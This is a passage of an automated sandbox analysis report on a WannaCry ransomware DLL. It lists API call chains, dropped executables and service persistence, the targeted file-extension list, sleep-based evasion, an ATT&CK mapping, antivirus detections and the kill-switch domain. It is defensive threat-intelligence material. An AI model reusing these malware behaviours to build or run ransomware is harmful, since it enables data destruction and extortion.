Source: tasksche.exe.4.dr	Binary string: T\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\av16rp
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnrc003.catp
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\SISAGP.SYSx
Source: tasksche.exe.4.dr	Binary string: 5\Device\HarddiskVolume2\Windows\System32\timedate.cplp
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\rdpdr.sysl\2
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnky008.cat
Source: tasksche.exe.4.dr	Binary string: c\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\fixcfg.log
Source: tasksche.exe.4.dr	Binary string: 0\Device\HarddiskVolume2\Windows\System32\wmp.dll
Source: tasksche.exe.4.dr	Binary string: h\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Cookiesp
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00h.cat
Source: tasksche.exe.4.dr	Binary string: I\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netip6.inf_locp
Source: tasksche.exe.4.dr	Binary string: C\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\ntfs.sys.mui
Source: tasksche.exe.4.dr	Binary string: 3\Device\HarddiskVolume2\Windows\System32\FXSSVC.exe
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\dxgkrnl.sys
Source: tasksche.exe.4.dr	Binary string: r\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\CRLsCPU1
Source: tasksche.exe.4.dr	Binary string: 1\Device\HarddiskVolume2\Windows\Temp\CR_6DDFF.tmpp
Source: tasksche.exe.4.dr	Binary string: 0\Device\HarddiskVolume2\Windows\System32\url.dll
Source: tasksche.exe.4.dr	Binary string: \Device\Harddisk0\DR0p
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\nvraid.sys=\(
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Editions-Client-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catrs\p
Source: tasksche.exe.4.dr	Binary string: 8\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft$Hp
Source: tasksche.exe.4.dr	Binary string: E\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\amdppm.sys.mui
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\tdtcp.sys\|$P@
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep00d.catp
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\SISAGP.SYS8
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\HdAudio.sys\/
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\SISAGP.SYS3
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\VIAAGP.SYS.
Source: tasksche.exe.4.dr	Binary string: p\Device\HarddiskVolume2\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkAccessProtection%4Operational.evtxxpp
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Indexing-Service-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat\$p
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\flpydisk.sys
Source: tasksche.exe.4.dr	Binary string: K\Device\HarddiskVolume2\ProgramData\Microsoft\RAC\StateData\RacDatabase.sdf
Source: tasksche.exe.4.dr	Binary string: 2\Device\HarddiskVolume2\Windows\System32\Tasks\WPDGtn
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\elxstor.sysV
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SampleContent-Ringtones-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: 9\Device\HarddiskVolume2\Program Files\AVG\Av\avgmfapx.exep
Source: tasksche.exe.4.dr	Binary string: F\Device\HarddiskVolume2\Windows\Prefetch\SEARCHINDEXER.EXE-4A6353B9.pfH
Source: tasksche.exe.4.dr	Binary string: a\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\oem12.CAT
Source: tasksche.exe.4.dr	Binary string: F\Device\HarddiskVolume2\Program Files\AVG Web TuneUp\BundleInstall.exe
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnrc004.cat
Source: tasksche.exe.4.dr	Binary string: ?\Device\HarddiskVolume2\Program Files\AVG\UiDll\2623\icudtl.datp
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\elxstor.sys\
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\ipnat.sys4
Source: tasksche.exe.4.dr	Binary string: 0\Device\HarddiskVolume2\Windows\inf\nettcpip.PNFS
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\MegaSR.sysDC2
Source: tasksche.exe.4.dr	Binary string: [\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatformU3
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\umpass.sys
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\ql40xx.sys
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\lsi_scsi.sys
Source: tasksche.exe.4.dr	Binary string: >\Device\HarddiskVolume2\Windows\System32\drivers\fsdepends.sysd0`p
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00h.catSp
Source: tasksche.exe.4.dr	Binary string: p\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Searchuser-Client-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: \|\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\History\History.IE5\index.datp
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TerminalServices-UsbRedirector-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat:
Source: tasksche.exe.4.dr	Binary string: G\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\processr.sys.mui
Source: tasksche.exe.4.dr	Binary string: C\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\acpi.sys.mui
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\djsvs.sys
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\nvstor.sys2\
Source: tasksche.exe.4.dr	Binary string: 4\Device\HarddiskVolume2\Windows\System32\rasauto.dll_S

Source: classification engine

Classification label: mal100.rans.troj.expl.evad.winDLL@24/3@3/100

Source: C:\Windows\mssecsvc.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,	4_2_00407C40
Source: C:\Windows\mssecsvc.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,	7_2_00407C40
Source: C:\Windows\tasksche.exe	Code function: OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,	8_2_00401CE8

Source: C:\Windows\mssecsvc.exe	Code function: 4_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		4_2_00408090
Source: C:\Windows\mssecsvc.exe	Code function: 7_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		7_2_00408090

Source: C:\Windows\mssecsvc.exe

Code function: 4_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

4_2_00407C40

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\7B6t4L7E2o.dll,PlayGame

Source: C:\Windows\mssecsvc.exe

Code function: 4_2_00407CE0 InternetCloseHandle,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,FindResourceA,LoadResource,LockResource,SizeofResource,sprintf,sprintf,sprintf,MoveFileExA,CreateFileA,WriteFile,FindCloseChangeNotification,CreateProcessA,CloseHandle,CloseHandle,

4_2_00407CE0

Source: mssecsvc.exe, 00000004.00000000.381846118.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000002.406179599.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000000.394973919.0000000000710000.00000002.00000001.01000000.00000004.sdmp, tasksche.exe, 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmp, tasksche.exe, 0000000A.00000000.402045388.000000000040E000.00000008.00000001.01000000.00000007.sdmp, 7B6t4L7E2o.dll, mssecsvc.exe.2.dr, tasksche.exe.4.dr

Binary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll

Source: C:\Windows\mssecsvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 7B6t4L7E2o.dll

Static file information: File size 5267459 > 1048576

Source: 7B6t4L7E2o.dll

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x501000

Source: C:\Windows\tasksche.exe	Code function: 8_2_00407710 push eax; ret		8_2_0040773E
Source: C:\Windows\tasksche.exe	Code function: 8_2_004076C8 push eax; ret		8_2_004076E6

Source: C:\Windows\tasksche.exe

Code function: 8_2_00401A45 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

8_2_00401A45

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\rundll32.exe	Executable created and started: C:\WINDOWS\mssecsvc.exe			Jump to behavior
Source: C:\Windows\mssecsvc.exe	Executable created and started: C:\WINDOWS\tasksche.exe			Jump to behavior

Source: C:\Windows\mssecsvc.exe	File created: C:\WINDOWS\qeriuwjhrf (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvc.exe	Jump to dropped file
Source: C:\Windows\mssecsvc.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file

Source: C:\Windows\mssecsvc.exe	File created: C:\WINDOWS\qeriuwjhrf (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvc.exe	Jump to dropped file
Source: C:\Windows\mssecsvc.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file

Source: C:\Windows\mssecsvc.exe

Code function: 4_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

4_2_00407C40

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\mssecsvc.exe TID: 4476	Thread sleep count: 1348 > 30	Jump to behavior
Source: C:\Windows\mssecsvc.exe TID: 4476	Thread sleep time: -134800s >= -30000s	Jump to behavior
Source: C:\Windows\mssecsvc.exe TID: 6028	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5608	Thread sleep time: -90000s >= -30000s	Jump to behavior

Source: C:\Windows\mssecsvc.exe

Window / User API: threadDelayed 1348

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: mssecsvc.exe, 00000004.00000000.381846118.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000002.406179599.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000000.394973919.0000000000710000.00000002.00000001.01000000.00000004.sdmp, tasksche.exe, 00000008.00000000.400454030.0000000000410000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 0000000A.00000002.403099244.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 7B6t4L7E2o.dll, mssecsvc.exe.2.dr, tasksche.exe.4.dr	Binary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Common-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
Source: mssecsvc.exe, 00000004.00000000.381846118.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000002.406179599.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000000.394973919.0000000000710000.00000002.00000001.01000000.00000004.sdmp, tasksche.exe, 00000008.00000000.400454030.0000000000410000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 0000000A.00000002.403099244.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 7B6t4L7E2o.dll, mssecsvc.exe.2.dr, tasksche.exe.4.dr	Binary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Guest-Integration-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: svchost.exe, 00000010.00000002.989047785.000001B4B7C02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 00000018.00000002.665215765.0000026AB6EE4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000002.665257573.0000026AB6EF1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000002.665086290.0000026AB6E8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000010.00000002.989212239.000001B4B7C29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\tasksche.exe

Code function: 8_2_00401A45 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

8_2_00401A45

Source: C:\Windows\tasksche.exe

Code function: 8_2_004029CC free,GetProcessHeap,HeapFree,

8_2_004029CC

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll",#1

Jump to behavior

Binary or memory string: 2\Device\HarddiskVolume2\Windows\ehome\mcupdate.exe

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Service Execution	4 Windows Service	4 Windows Service	12 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	21 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	11 Process Injection	11 Virtualization/Sandbox Evasion	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Software Packing	Cached Domain Credentials	1 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
7B6t4L7E2o.dll	90%	Virustotal		Browse
7B6t4L7E2o.dll	80%	Metadefender		Browse
7B6t4L7E2o.dll	91%	ReversingLabs	Win32.Ransomware.WannaCry
7B6t4L7E2o.dll	100%	Avira	TR/FileCoder.AU
7B6t4L7E2o.dll	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\mssecsvc.exe	100%	Avira	EXP/CVE-2017-0147.A
C:\Windows\tasksche.exe	100%	Avira	TR/FileCoder.AU
C:\Windows\mssecsvc.exe	100%	Joe Sandbox ML
C:\Windows\tasksche.exe	100%	Joe Sandbox ML
C:\WINDOWS\qeriuwjhrf (copy)	85%	Metadefender		Browse
C:\WINDOWS\qeriuwjhrf (copy)	95%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Windows\mssecsvc.exe	89%	Metadefender		Browse
C:\Windows\mssecsvc.exe	93%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Windows\tasksche.exe	85%	Metadefender		Browse
C:\Windows\tasksche.exe	95%	ReversingLabs	Win32.Ransomware.WannaCry

Unpacked PE Files

Source	Detection	Scanner	Label	Download
4.0.mssecsvc.exe.400000.6.unpack	100%	Avira	TR/FileCoder.AU	Download File
7.2.mssecsvc.exe.400000.0.unpack	100%	Avira	TR/FileCoder.AU	Download File
10.0.tasksche.exe.400000.0.unpack	100%	Avira	TR/FileCoder.AU	Download File
4.2.mssecsvc.exe.7100a4.1.unpack	100%	Avira	TR/FileCoder.AU	Download File
6.0.mssecsvc.exe.7100a4.5.unpack	100%	Avira	TR/FileCoder.AU	Download File
6.0.mssecsvc.exe.7100a4.1.unpack	100%	Avira	TR/FileCoder.AU	Download File
4.2.mssecsvc.exe.400000.0.unpack	100%	Avira	TR/FileCoder.AU	Download File
4.0.mssecsvc.exe.400000.0.unpack	100%	Avira	TR/FileCoder.AU	Download File
6.2.mssecsvc.exe.400000.0.unpack	100%	Avira	TR/FileCoder.AU	Download File
4.0.mssecsvc.exe.400000.2.unpack	100%	Avira	TR/FileCoder.AU	Download File
4.0.mssecsvc.exe.400000.4.unpack	100%	Avira	TR/FileCoder.AU	Download File
4.0.mssecsvc.exe.7100a4.5.unpack	100%	Avira	TR/FileCoder.AU	Download File
6.0.mssecsvc.exe.7100a4.7.unpack	100%	Avira	TR/FileCoder.AU	Download File
7.0.mssecsvc.exe.7100a4.1.unpack	100%	Avira	TR/FileCoder.AU	Download File
6.0.mssecsvc.exe.400000.2.unpack	100%	Avira	TR/FileCoder.AU	Download File
4.0.mssecsvc.exe.7100a4.7.unpack	100%	Avira	TR/FileCoder.AU	Download File
4.0.mssecsvc.exe.7100a4.1.unpack	100%	Avira	TR/FileCoder.AU	Download File
6.0.mssecsvc.exe.7100a4.3.unpack	100%	Avira	TR/FileCoder.AU	Download File
6.0.mssecsvc.exe.400000.0.unpack	100%	Avira	TR/FileCoder.AU	Download File
6.2.mssecsvc.exe.7100a4.1.unpack	100%	Avira	TR/FileCoder.AU	Download File
7.0.mssecsvc.exe.400000.0.unpack	100%	Avira	TR/FileCoder.AU	Download File
8.0.tasksche.exe.400000.0.unpack	100%	Avira	TR/FileCoder.AU	Download File
10.2.tasksche.exe.400000.0.unpack	100%	Avira	TR/FileCoder.AU	Download File
8.2.tasksche.exe.400000.0.unpack	100%	Avira	TR/FileCoder.AU	Download File
4.0.mssecsvc.exe.7100a4.3.unpack	100%	Avira	TR/FileCoder.AU	Download File
6.0.mssecsvc.exe.400000.4.unpack	100%	Avira	TR/FileCoder.AU	Download File
7.2.mssecsvc.exe.7100a4.1.unpack	100%	Avira	TR/FileCoder.AU	Download File
6.0.mssecsvc.exe.400000.6.unpack	100%	Avira	TR/FileCoder.AU	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	100%	URL Reputation	malware
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/	100%	URL Reputation	malware
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
http://help.disneyplus.com.	0%	URL Reputation	safe
https://www.pango.co/privacy	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJ	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	104.16.173.80	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	mssecsvc.exe.2.dr	true	URL Reputation: malware	unknown
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 00000018.00000003.635272376.0000026AB79B3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.635240769.0000026AB79A2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000018.00000002.665400693.0000026AB7900000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 00000018.00000003.635272376.0000026AB79B3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.635240769.0000026AB79A2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000018.00000003.638950900.0000026AB7993000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.639038597.0000026AB7E18000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.639095855.0000026AB7E02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.638968213.0000026AB79A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.639080909.0000026AB7E18000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.639119552.0000026AB7991000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://help.disneyplus.com.	svchost.exe, 00000018.00000003.635272376.0000026AB79B3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.635240769.0000026AB79A2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.hotspotshield.com/	svchost.exe, 00000018.00000003.630426055.0000026AB79AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630320833.0000026AB798D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630479013.0000026AB7E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630494659.0000026AB7E02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630452004.0000026AB7E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630348392.0000026AB799E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.630525662.0000026AB798D000.00000004.00000020.00020000.00000000.sdmp	false		high
